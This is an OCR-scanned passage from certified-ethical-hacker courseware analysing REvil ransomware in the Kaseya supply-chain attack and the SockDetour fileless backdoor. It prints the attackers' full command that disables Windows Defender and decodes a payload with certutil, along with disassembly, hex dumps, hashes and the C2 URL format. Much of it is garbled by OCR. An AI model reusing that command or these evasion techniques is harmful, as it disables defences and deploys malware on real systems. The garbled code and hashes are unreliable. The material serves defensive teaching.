servers via Kaseya supply-chain compromise. It drops the payload to Kaseya's
TempPath with the file name agent . exe. The VSA procedure used to deploy the
encryptor was named " Kaseya VSA Agent Hot-fix." The Kaseya VSA Agent Hot-fix
procedure runs the following command :
"C : \WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul &
C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe Set-
MpPreference - DisableRealtimeMonitoring $true
DisableintrusionPreventionSystem $true -DisableIOAVProtection $true
-DisableScriptScanning $true -EnableControlledFolderAccess Disabled
-EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -
SubmitSamplesConsent NeverSend & copy /Y
C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM%
>> C : \Windows\cert . exe & C : \Windows\cert . exe -decode c : \\agent . crt
c:\\agent.exe & del /q /f c : \kworking\agent.crt C : \Windows\cert.exe
& c : \\agent.exe"

The above comm and also replaces certutil . exe with the environment vari able
%SystemDrive%\cert . exe and then decodes the agent.crt file to agent.exe,
which th en drops another payload to avoid det ection .
agent.exe
d55f983 c 994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9fle

Module 07 Page 1174 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ Exploitation
In this phase, the ransomware is dropped along with its components and executed on
the target systems.
For example, in the Kaseya supply-chain compromise, after dropping the payload, it
removes previously used binaries such as agent . crt and certutil . exe. The decoded
agent. exe comprises internal components such as SOFTIS and MODLIS, as shown in the
screenshot.

O II
El
1
El
"MODUS"
102 - [lang: 1033]
"SOFTIS"
ll'.J iri -» I ea
~--~~-------------------~------~
jJ

101. [lang:1033] ,_
O_f _fs_e_t-<>--0__
1_ 2__
3_ 4__
5 _ 6__
7 _ 8_ 9__A_ B
__C_ D
__E_ F_ , _A
_s_c_i _i _ _ _ _--<
00 00 00 00 40 SA 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ L • _J . yy .
000 00010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 • ....... @.
000 00020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 EB 00 00 00
00 00 00 40 OE l F BA OE 00 B4 09 CO 21 B8 01 4C CO 21 54 68
00 00 0050 69 73 20 70 72 6F 67 72 61 60 20 63 61 6E 6E 6F
n 2n . :ti: . .e . ..
111rh
is . program . canno
00 00 0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t . be . run . in . DOS .
00 00 00 70 60 6F 64 65 2E OD OD 0A 24 00 00 00 00 00 00 00 mode .. . . S . . .... .
00 00 0080 AS 78 DA 86 El 19 B4 05 El 19 B4 05 El 19 B4 05 ¥xll 1a, ·Oa, ·Oa, ·O
00 00 0090 A7 48 55 05 ca 19 B4 05 A7 48 6B 0 5 FB 19 B4 05 §HUOE f ' O§Hk0u f · ij
00 00 00A0 A7 48 54 05 7C 19 B4 05 54 87 54 05 AB 18 B4 05 §HTO I f ' OT1T0« 1 · 0
00 00 00B0 EB 61 27 05 EB 19 B4 05 El 19 BS 05 8B 19 B4 05 ea ' Oe f · 0,; fµO I f ·ij
00 00 00C0 EC 4B 55 05 E0 19 B4 05 EC 4B 68 05 E0 19 B4 05 il<UOa f ' Oil<hOa f ' ij
00 00 0000 EC 4B 6A 05 E0 19 B4 05 52 69 63 68 El 19 B4 05 il<jOa f "ORicha f ·ij
00 00 00E0 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 04 00 ... PE .. l J .
00 00 00F0 6A 87 DO 60 00 00 00 00 00 00 00 00 E0 00 02 21 (i < . .a.,,
00 00 0100 OB 01 0C 00 00 OE 07 00 00 68 05 00 00 00 00 00 o I . . n• . .hi .
00 00 0110 E6 FC 05 00 00 10 00 00 00 20 07 00 00 00 00 10 a,iil .+...... +
00 00 0120 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 .+... , .. I .
00 00 0130 05 00 01 00 00 00 00 00 00 AO 0C 00 00 04 00 00 I. I . ·"
00 00 014 0 A6 SB 0C 00 03 00 40 00 00 00 10 00 00 10 00 00 i [ I . L @ . . . +.. +.
000 00150 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 .. +.. + .+.
00 00 0160 90 BF 09 00 85 00 00 00 18 CO 09 00 50 00 00 00 l . . I ... 1 A.. P .
000 00170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 0180 00 3E 0C 00 88 15 00 00 00 30 0C 00 00 61 00 00 . >I . 1.i. ... 0 1 . . a .
0000 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 0lA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 01B0 50 B9 09 00 40 00 00 00 00 00 00 00 00 00 00 00 P ' .. @ . . . . . . ..• • .
00 00 0lC0 00 20 07 00 68 01 00 00 00 00 00 00 00 00 00 00 .. • . h
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 0lE0 2E 74 65 78 74 00 00 00 42 OD 07 00 00 10 00 00 . text . .. B. • . . +.
00 00 0lF0 00 OE 07 00 00 04 00 00 00 00 00 00 00 00 00 00 .f.l• . _.J
00 00 0200 00 00 00 00 20 00 00 60 2E 72 64 61 74 61 00 00 . rdata .
00 00 0210 64 AB 02 00 00 20 07 00 00 AA 02 00 00 12 07 00 d .., . . • . . i , .. t • .
0000 022 0 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 . .. . . . . . . . .. @ . . @
00 00 023 0 2E 64 61 74 61 00 00 00 00 SC 02 00 00 DO 09 00 . data . . .. , , . . D .
00 00 0240 00 20 02 00 00 BC 09 00 00 00 00 00 00 00 00 00 . _, .. ¼ ........ .
000 00250 00 00 00 00 40 00 00 CO 2E 72 65 6C 6F 63 00 00 . . . . @ .. A. reloc ..
00 00 026 0 00 61 00 00 00 30 0C 00 00 62 00 00 00 DC OB 00 . a .. . 0 1 . . b . .. iio .
00 00 0270 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 . . . @ .. B
00 00 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 000 320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000 00360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000 003A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000 3B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
~ - - - ;>--- - - - - - - - - - - - - - - - - - -~ - - - - - - ~-

Figu re 7 .126: agent.exe resources

These two components are dumped into the Windows folder in the form of
MsMpEng . exe and mpsvc. dll. While the first resource can be a simple defender binary,
the second {mpsvc. ctn} is an REvil encryptor binary that leads to a DLL sideloading
attack.

Module 07 Page 1175 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

. text: 013E10FC 68 04 lC 3F 01 push offset Type ; •soFTIS"


. tut :013E1101 6A 65 push 65h ; lptlame
. text: 013Elle3 6A 00 push ; hHodule
.text : 013E1105 FF 06 call esi ; FindResourcew
.text:013E1107 85 C0 test eax, eax
.tut:013El109 0F 84 98 00 00 00 j, loc_13EllA7
. t ext : 013E110F 50 push ; hResinfo

...
. text :013El110 6A 00 push ; hModuh:
. t ut:013E1112 FF 15 20 D0 3E 01 call ds: LoadResource
.text:013El118 85 C0 test eax,
.tut : 013E111A 0F 84 87 00 00 00 j, loc_l3El1A7
. text :013E1128 50 push ; hRes Da t a
.tut : 013E1121 FF 15 18 D0 3E 01 call ds : LockRe source
. text :013Ell27 68 14 1( 3 F 01 push offset aHodlis ; • OOLIS"
. tut :013El12C 6A 66 push 66h ; lptlaae
. text:013E112E 6A 00 push
• ; hHodu l e

...
.text:013El130 A3 A0 4 3 3 F 01 dword 13F43A8, eax
. tut : 013E1135 FF 06 call esi ; - FindResourcew

...
. tut :013E1137 85 C0 test eax,
. t ext : 013E1139 74 6C j, short l oc_ l3EllA7
. text :013E1136 50 push ; hResinfo
xor esi,
. t ut:013El13C 33 F6
"'
...
.text:013E113E 56 push esi ; hModule
.text : 013E113F FF 15 20 D0 3E 01 call ds: loadResource
. text: el3E1145 as ce tes t eax,
.text : 013E1147 74 SE j, short loc_13El1A7
.tut:013E1149 50 push ; hResData
. text :013E114A FF 15 18 D0 3E 01 call ds : lockResource
.text:013Ell50 68 24 lC 3F 01 push offset aMpsvcDll •l "i11psvc.dll"
.text:013El155 BA 88 55 0C 00 edx, 91':5588
. tut :013E11SA A3 A4 43 3 f 01 dword_13F43A4, eax
.tut:013El15F SB CB IIOV ecx, eax
. t u t : 013E1161 ea 9A FE FF FF call Write File In windows folde r
.text:013E1166
. t ut:013Ell6C
. text: 013Ell 71
88
BA
C7
00
00
04
A8
56
24
43
00
38
3F 01
00
lC 3F 01aov
ecx, dword- 13f43A0
edx, 5600h-
-
I
~~~~; 8; !i:~~e:~~~!:~!~::;• offset aMs■pengExe , " ~Eng.e,re'
.text : 013Ell78 E8 83 FE FF FF call
.text:013E117D C7 04 24 EC 4 3 3F 01
aov [esp+ii+lpP;:oc;ss!nfo,.;ation ], offset Processlnforaation ; l pProc ess!nfoniation
.text :013E1184 68 A8 43 3F 01 push offset 5tartuplnfo ; lpSta r tupinfo
.text:013E1189 56 push esi ; lpCurrentDirectory
.text:013E118A 56 push esi ; lpEnvironaent
.text:013E118B 68 30 02 80 ee push 238h ; dwereationFbgs
. text :013Ell90 56 push esi ; binheritHandles
. text :013E1191 56 push esi lpThreadAttributes
• text :013E1192 56 push esi lpProcessAttributes
. t ext: 013Ell93 FF 75 10 push ( e bp+lpCc-andline) lpCc-andline
.text:013Ell96 C7 05 A8 43 3F 01 44 80+.ov Startuplnfo.cb, 44h
.text:013E11A0 50 push lpApplicationNaae
.text:013El1Al FF 15 28 00 3E 01 call ds: CreateProcessn

Figure 7. 127: Binaries dropped by agent.exe

As soon as MpMseng. exe executes and invokes the export function (serviceCrtMain},
the REvil encryptor (mpsvc.dll) loads and executes itself.

. text : 10001290
. text: 10001290 public Service<rtMain
. text: 10001290 ServiceCrtl1ain proc near DATA XREF: .rdata:off_ l009BFBSJ.o
. text: 10001290
. text: 10001290 • dword ptr - 8
. text: 10001290 • dword ptr - 4
. text: 10001290
. text: 10001290 55 push ebp
. text: 10001291 88 EC mov ebp, esp
. text: 10001293 83 EC 08 sub esp, 8
. text: 10001296 80 45 FC lea eax, [ebp+Threadid]
. text: 10001299 50 push eax ; lpThreadid
. text: 1000129A 6A 00 push 0 ; dWC:reationFlags
. text: 1000129C 6A ee push 0 ; lpParameter
. text: 1000129E 68 B0 11 00 10 pus h offset StartAddress ; lpStartAddress
.text : 100012A3 6A ee pu sh 0 dwStackSize
. text: 100012As 6A ee pu sh 0 lpThreadAttributes
. text: 100012A7 FF 15 3C 21 07 10 call ds: CreateThreed
. text: 100012AD 89 45 F8 IIOV [ebp+va r _B], eax
. text: 100012B0
. text: 100012B0 loc_ 100012B0 : CODE XREF : Se rvi ceCrtMa in+34+j
. text : 100012B0 B9 01 00 00 00 mov ecx, 1
. text: 100012B5 85 C9 test ecx, ecx
. text: 100012B7 74 00 jz short loc_100012C6
. text: 100012B9 68 EB 03 00 00 push 3E8h ; d"'1illiseconds
.text:100012BE FF 15 30 21 07 10 call d s : Sleep
.text:100012(4 EB EA jmp short loc_100012B0
. text: 100012(6

...
. text: 100012(6
. text : 100012(6 loc_ l00012C6 : ; CODE XREF: Se rvi ceCrtMain+27tj
. text: 100012(6 33 C0 xor eax,
. text: 100012(8 33 02 xor edx, edx
. text: 100012CA 88 ES mov e sp, ebp
. text: 100012cc so pop ebp
. text: 100012(0 C3 re tn
. text: 100012(0 ServiceCrtMain endp
't'o VT•1~1 ? rn

Figure 7.128: MpMseng.exe invoking ServiceCrtMain

Module 07 Page 1176 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

The REvil exploits OpenSSL to perform cryptographic activities such as file encryption .

~psvc: 10001590
~ :10001590 loc 10001590: ; CODE XREF: ■ svc: 1000101(..!f
~ ~SVC: 10001S90 56 push esi
mpsvc: 10001591 6A 58 push 58h
!npsvc: 10001593 68 08 21 07 10 push offset aC ryptoEvpEvpEn ; •. \\crypto\\evp\\evp_enc.c•
~psvc: 10001598 68 SC 00 00 00 pu s h sch
~psvc: 1000159D EB SE 0E 00 00 call ne ar ptr unk_10002430
fflpsvc:100015A2 BB F0 mov esi, eax
mpsvc: 100015A4 83 C4 0C add esp, 0Ch
,npsvc: 100015A7 85 F6 test e si, esi
!npsvc: 100015A9 74 12 jz shor t loc 100015B0
Plpsvc: 100015AB 68 BC 00 00 00 push sch -
mpsvc: 100015B0 6A 00 push 0
mpsvc: 100015B2 56 pu s h esi
~psvc: 100015B3 EB 88 EB 05 00 call near ptr unk_1005FE40
ffipsvc: 100015B8 83 C4 0C add esp, 0Ch
lnpsvc: 10001588 88 C6 1n0v eax, esi
mpsvc: 1000158D
mpsvc: 1000158D loc_ l00015BD: ; CODE XREF: mpsvc :mpsvc_ SvchostPushServiceGlobals+2B9tj
~psvc:100015BO SE pop esi
fflpsvc:100015BE C3 retn

Figure 7.129: Exploiting OpenSSL

The ransomware allocates new memory and drops the actual payload using functions
such as createFileMappingw and MapViewOfFile .

001A0000 00 00 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 . . . . . . . . . . . . yy ..
001A0010 88 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ' • •• • ••• @• • • • •• •
001A0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A0030 00 00 00 00 00 00 00 00 00 00 00 00 F0 00 00 00 . . . ...•. . .. . 6 •. .
001A0040 00 00 00 00 00 00 00 00 00000000000000 m
001A0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A0080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A0090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A00A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A0080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A00C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A00E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A00F0 00 00 00 00 4C 01 05 00 SA Nl A6 60 00 00 00 00 . .. . L .•. z:•.. . .
001A0100 00 00 00 00 E0 00 02 01 08 01 0E 00 00 C4 00 00 ... . a... ... .. A. .
001A0110 00 24 01 00 00 00 00 00 83 48 00 00 00 10 00 00 . $ . . . . . . fH . . ... .
001A0120 00 E0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 • • ••• •@• ••••••••
001A0130 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00
001A0140 00 20 02 00 00 04 00 00 00 00 00 00 02 00 40 80 . . .. .. . . ..... • @(
001A0150 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00
001A0160 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00
001A0170 78 0C 01 00 50 00 00 00 00 00 00 00 00 00 00 00 x . . . P . . . ... . . . • .
001A0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A0190 00 10 02 00 4C 07 00 00 00 00 00 00 00 00 00 00 .. .. L. .. . • . • • • • •
001A01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A01C0 00 00 00 00 00 00 00 00 00 E0 00 00 40 00 00 00 . . .•. . . . · • · .@ •..
001A0100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
001A01F0 24 C3 00 00 00 10 00 00 00 C4 00 00 00 04 00 00 SA ... .. .. A. . . • •.
001A0200~ 00 00 00 00 ~!!!' 00 00 00 00 20 00 00 60 ... . ... .. ... . .
.--- ==========================================-=:.I!
Figure 7.130: Actual payload

Module 07 Page 1177 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Now, REvil exposes its typical ransom behavior of changing config files, changing local
firewall rules, creating its own registry keys, and adding its own values to the registry
keys. With all these activities, the attackers now automatically log into the victim system
with their own accounts, encrypt all the victim's confidential files, and display a ransom
note, as shown in the screenshot.

Yo..r h l •u a re •ACE)'Jl-d, aA<I C'\I.Zr,.,nly W>&Y&ilUle. y,.._. C&A etw,cl i t: a ll file • OA pv.r •Y•t.c• U a ...o.e .....oa • ~?9.
By th,. " '"Y• • "•rytlu,."9 i • po• •ibl• to uco..,.r ( u,u.or• J • but you """d to foll- O"-" iau,ruct>-on•. Ot.luint>-H, you c &..1u1 r ,n,wen you.,: d..&ta ( ~ ).

tf 7<'" • i l l oot cooperate •ith our ser"Pice - for ... , i.tcs does no1' -..u.er . B,n. yo,> • i l l los e p,u tiae a nd cl.ot;a, c a uH )ust •• h • "• ttut pri,rat• ley. l n pra ctice - tiae is . .ch - r • • • lu&t>MI thu, - ""Y·

(+ ) 11.... to 9"'t a cce u o■ ••hs >-o.e? i • l

:u If TOIi. bloch·d iA yow, COllAtry, t ry - \uc VPN ! '"'" y ou c a.a ,uc O\&r s ecoadary • ebs it.c . ror t h is:
a ) o,,.,, .. pw, aay br-•"r (C'h.r_, ri:ufos, Opo u., u:, .t<i9-I
b l Open our secoa.du y •ebs;.t.c , hne·/ldespds; n(1Upgj£7&41!1UU1

10o.cA 7011, opeA . . - wcbs>-t.c, J>l>O \>he foll-u19 <I.a u . ,._., t.A• U\P\lt foca :
1:.a, :

D01f • T llrJ to ci.a...,. h l•• l>J pouc••lf , OON'T u •• a.BJ tl>ira p,irllJ •oft.,,n• f or r•• -r,...., 1oouc <la ta o r ,.,..,i,.aru..o H>lut1011.• - ill• .,., an11a 1l ....._.,. o f th.a pr1Ta ta l•J u,d, u r• • ul11, n.. 1,o. . a ll <la t a .
Ill Ill Ill
OJI?. MOU TD« : 111• i.n pouc intar,o•t• to.,.., JOUS f il*• bacl . r r - our •iM , "• (U•• bou , • paciali•t•J aal,. •••rJthUl<J f or r••torUMJ, ltull pl,...u •houl<l aot u,t,or h u .
! ! I Ill !I !

Figure 7.131: Ransom note threatening the user/ victim

■ Lateral Movement

In targeted attacks, attackers perform lateral movement, for which they use RDP and
PsExec tools.
■ Defense Evasion and Discovery

At this stage, attackers use network discovery tools such as AdFind, SharpSploit,
BloodHound, and NBTScan to discover and infect other systems connected to the target
network.
The following techniques are used by REvil for defense evasion:
o PC Hunter and Process Hacker to identify and terminate services and processes
related to antivirus products
o KillAV, a custom malicious binary specifically designed to uninstall antivirus products
by either querying the uninstall registry and uninstalling the program associated, or
by terminating processes from its list

Module 07 Page 1178 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

o Safeboot routine, which is triggered when "-smode" is supplied as an argument and


creates various new variants with RunOnce registries to restart from or to Safemode
and bypass security solutions
o DLL sideloading to bypass detection by running as a legitimate file or process
o PowerShell commands to compromise the supply chain and disable Windows
Defender
■ Credential Access and Exfiltration
At this stage, attackers use tools such as SharpSploit, an attack framework, along with
the mimikatz module to gain credential access. Further, they obtain the gathered
information using different methods such as FTP transfer via FileZilla or the use of third -
party synchronization tools such as MegaSync, FreeFileSync, and Rclone.
■ Command and Control (C2)
At this stage, the REvil ransomware sends a report and system information to the
attackers' C2 server. This is performed by creating a pseudorandom URL based on the
following fixed format:
https://{Domain}/{String 1}/{String 2}/{random
characters} . {String 3}
The domain and strings have the following meanings:
Domain: from a list based on the configuration
String 1: wp-content, include, content, uploads , static,
admin, data, or news
String 2: images, pictures, image, temp, tmp, graphic,
assets , or pies
String 3: jpg, png, gif

Module 07 Page 1179 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Fileless Malware Analysis: SockDetour


SockDetour is fileless malware that compromises a Windows system's legitimate processes and builds a secure C2 communication
channel
It creates a stealthy backup backdoor that can continue its operation even after the primary backdoor is detached from the
infected machine

Legitimate process with a


C,Non-C2 requests are directed to their
listening port original services

,_::.~::·;.. ~•/ · .::.F •••••••••••••••~ • • l.


Win sock accept() functiOI\•·······•
SockDetour Infection Flow using the De tours lib_.~ ;r{ e SockDetour establishes a C2
connection with the attacker
.- - - _.;,_ - - -I
0 PowerSploit memory
injector injects shellcode
I
1 SockDetour e SockOetour is loade d
into the target's process
, ___ __ _
'- - - - ... -
:.,
- - J

Oonutloader shellcode is
PowerSploit
memory ........ .. . ........ .i Donutloader : e injected into the target's
process
injector '- _ S_!!e_!!c~d! _ ,
Legitimate process with a listening port
https.J/unit42.polooltonetworks.com

Copyright C> by (C-CllllCII All Rights Re serve d Reproduction 1s Strictly Proh1b1ted

SockDetour Fileless Malware Attack Stages

Pre-exploitation I Sock Detour is hosted on a compromised FTP server such as network-attached st orage (NAS) and is
delivered to the target process by exploiting remote code execution vu lnerabilities

Initial Infection I SockDetour is a customized backdoor assembled in the 64-bit PE file format
Attackers use the Donut shellcode generator to convert SockDetour's 64-bit PE file into shellcode an d
then use the PowerSploit memory injector to inject this code into the target process

The backdoor uses the Microsoft Detours library package to hijack a network socket
The backdoor uses the DetourAttach() function to bind a hook to the Winsock accept() function
Exploitation
New connections to the t arget se rvice's port are forwarded to the malicious detour f unction defined in
SockDetour

After verification, a remote C2 channel is estab lished between t he attacker and the target legitimate

Post-exploitation I process on t he client's machine


SockDetour performssocketless and fileless operations over t ime as the backup backdoor, even if the
primary backdoor is detected and removed from the compromised machine

' Copynght C) by (C-CIIIICII All Rights Reserved Reproduction !s Stnctly Prohibited

Module 07 Page 1180 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

SockDetour Fileless Malware Attack Stages (Cont'd)


Client Authentication and
Plugin Loading Feature
C2 Communication After Exploitation

SockDetour verifies and validates C2 connections Using the sha red session key, the received final payload
data are encrypted
. tut:088007FV A88482l The received payload data are encoded in t he JSON format
. t u t:008007HFA884823 l oc 7H.FA88'82l : ; CODE XREf : _hookingFun<:+87tj
. t ut:&ee087FfFA884823 - r9cl, f'SG_PHIC ; fl• 1s with two objects app and args after its decryption
. tut:088007HFA.ll114U 9 r8d, 9 ; l en
. tut:980007FfFA88482F rdx, (rs p+218h+_lt.-cvBuf] ; buf
.t.-)(t:000007H FA88483? rcx, (rsp+218h+s] ; s The app object holds a base 64-encoded DLL, and the args
. tut:eee987HFA8M U C c•ll cs:rKv ; r ec " 9 bytu
. tnt:080087FEFA834842 (rsp+218h+S..f2 ] , 17h object holds an argument setto be transferred to t he DLL:
.teKt:&eeee7FfFA884847 (rsp+218h+,,.r_ 103} , l
. tut :088007HFAe84$4C (rsp+2llh+v•r_ 102) , ]
. t.-><t:000007FEFA884851 rBd, l ; s1...
. t nt:008007HFA88485 7 lu rdx, (rsp+2lllh+ 8uf2] ; auf2
. tuct:088007HFA8848SC: lu rcx, (rspt2llh+_Recv9uf ] ; Bufl 11
sock": hijacked_socket ,
. tut:080087H.FA884864 c•ll .-:,op ; dat• sl'lould stu·t with 17 03 83
. UKt :9080e7HFAIIM-869
" key": session_key ,
"args": arguments_received_from_client
Once client auth enticat ion is achieved, the malware
takes control over th e TCP session via the recv ()
function without addingthe "MSG_PEEK" option The plugin can interact via the hijacked socket and encrypt
the TLS transaction via the above-gene rated session key
It generates a 160-bit session key through the
In this manner, Sock Deto ur serves as a stealthy backup
hardcoded initial vector value bvyiafszmkjsmqgl and
backdoor
transmits it to the remote client to encrypt t he
communication over the hijacked connection

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Fileless Malware Analysis: SockDetour


Source: https://unit42.paloaltonetworks.com
SockDetour is fileless malware that compromises a Windows system's legitimate processes and
builds a secure C2 communication channel without requiring a listening port to be open. Using
SockDetour, attackers create a stealthy backup backdoor that can continue its operation even
after the primary backdoor is detached from the infected machine. Owing to its socketless and
fileless nature, it is difficult to detect on infected Windows servers. The malware is distributed
through C2 infrastructure, i.e., a compromised FTP server that hosts ASP web shells and
memory dumping tools.
Legitimate process with a
listening port
e Non-C2 request s are directed to their
original services

Legitimate service port

A hook is bound to the


Winsock accept() function ••• • ··•·•
using the Detours lib~.,{ ·
•••·
...~ ················!

e
···O.··························~
· ··•~ ............... ~
~
SockDetour establishes a Cl
-
. . . .... . . . . . . . .A
..

connection with the attacker

0
- - _ ., - - -
PowerSploit memory
injector injects she llcode
I
1 SockDetour
I
1 e SockDetour is loaded
into the t arget 's process '--- ~---•
Donutloader shellcode is
Powe rSploit
, - Do;utL;ade; ~ 8 injected into the target 's
memory ·············+1
injector L _ S!1':!l~'!e _ _! process

Legitimate process with a listening port

Figure 7.132: SockDetour infection flow

Module 07 Page 1181 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

SockDetour Fileless Malware Attack Stages

• Pre-exploitation

SockDetour is hosted on a compromised FTP server such as network-attached storage


(NAS) and is delivered to the target remote process by exploiting some common
vulnerabilities such as RCE. These types of vulnerabilities allow a custom backdoor to
hijack legitimate processes and network connections of a socket and create a C2
connection with remote attackers through the socket.
■ Initial Infection

SockDetour is a customized backdoor assembled in a 64-bit PE file format. It is created


as a backup backdoor so that the malware remains active even if the primary backdoor
is detected and removed. It mainly targets Windows OSes that run services on TCP
ports. To hijack the socket of any existing process, SockDetour must be integrated with
the memory of the target process. To achieve this, attackers use the Donut shellcode
generator to convert SockDetour's 64-bit PE file into shellcode. Then, using the
PowerSploit memory injector, attackers inject this code into the target process.
The SockDetour PE can appear as follows:
Ob2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b
960df
The PowerSpoit code injection appears as follows:
80ed7984a42570d94cdlb6dcd89f95e3175a5c4247ac245c817928dd07fc9540
bee2fe0647d0ec9f2f0aa5f784b122aaeba0cddb39b08e3ea19dd4cdb90e53f9
a5b9acld0350341764f877f5c4249151981200df0769a38386f6b7c8ca6f9c7a
607a2ce7dc2252e9e582e757bbfa2f18e3f3864cb4267cd07129f4b9a241300b
llb2b719d6bffae3able0f8191d70aalbade7f599aeadb7358f722458a21b530
cd28c7a63f91a20ec4045cf40ff0f93b336565bd504c9534be857e971b4e80ee
ebe926f37e7188a6f0cc85744376cdc672e495607f85ba3cbee6980049951889
3ea2bf2a6b039071b890f03b5987d9135fe4c036fb77f477f1820c34b341644e
7e9cf2a2dd3edac92175a3eb1355c0f5f05f47b7798e206b470637c5303ac79f
bb48438e2ed47ab692d1754305df664cda6c518754ef9a58fb5fa8545f5bfb9b

■ Exploitation

After SockDetour is injected into a legitimate process, the backdoor uses the Microsoft
Detours library package (API calls monitoring and instrumentation) to hijack a network
socket. The backdoor uses the DetourAttach() function to bind a hook to the Winsock
accept() function. When new connections are initiated to the target service's port, the
Winsock accept() function is invoked, and the call to the accept() function is forwarded
to the malicious detour function defined in SockDetour.
Other non-C2 requests are directed to their original services to ensure that those
connections are not interrupted.

Module 07 Page 1182 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ Post-exploitation

All incoming requests can be hijacked by SockDetour to verify, validate, and segregate
the legitimate service traffic and C2 traffic. After verification, a remote C2 channel is
established between the attacker and the target legitimate process on the client
machine. After successful implementation, SockDetour performs socketless and fileless
operations over time as the backup backdoor, even if the primary backdoor is detected
and removed from the compromised machine.
Client Authentication and C2 Communication After Exploitation

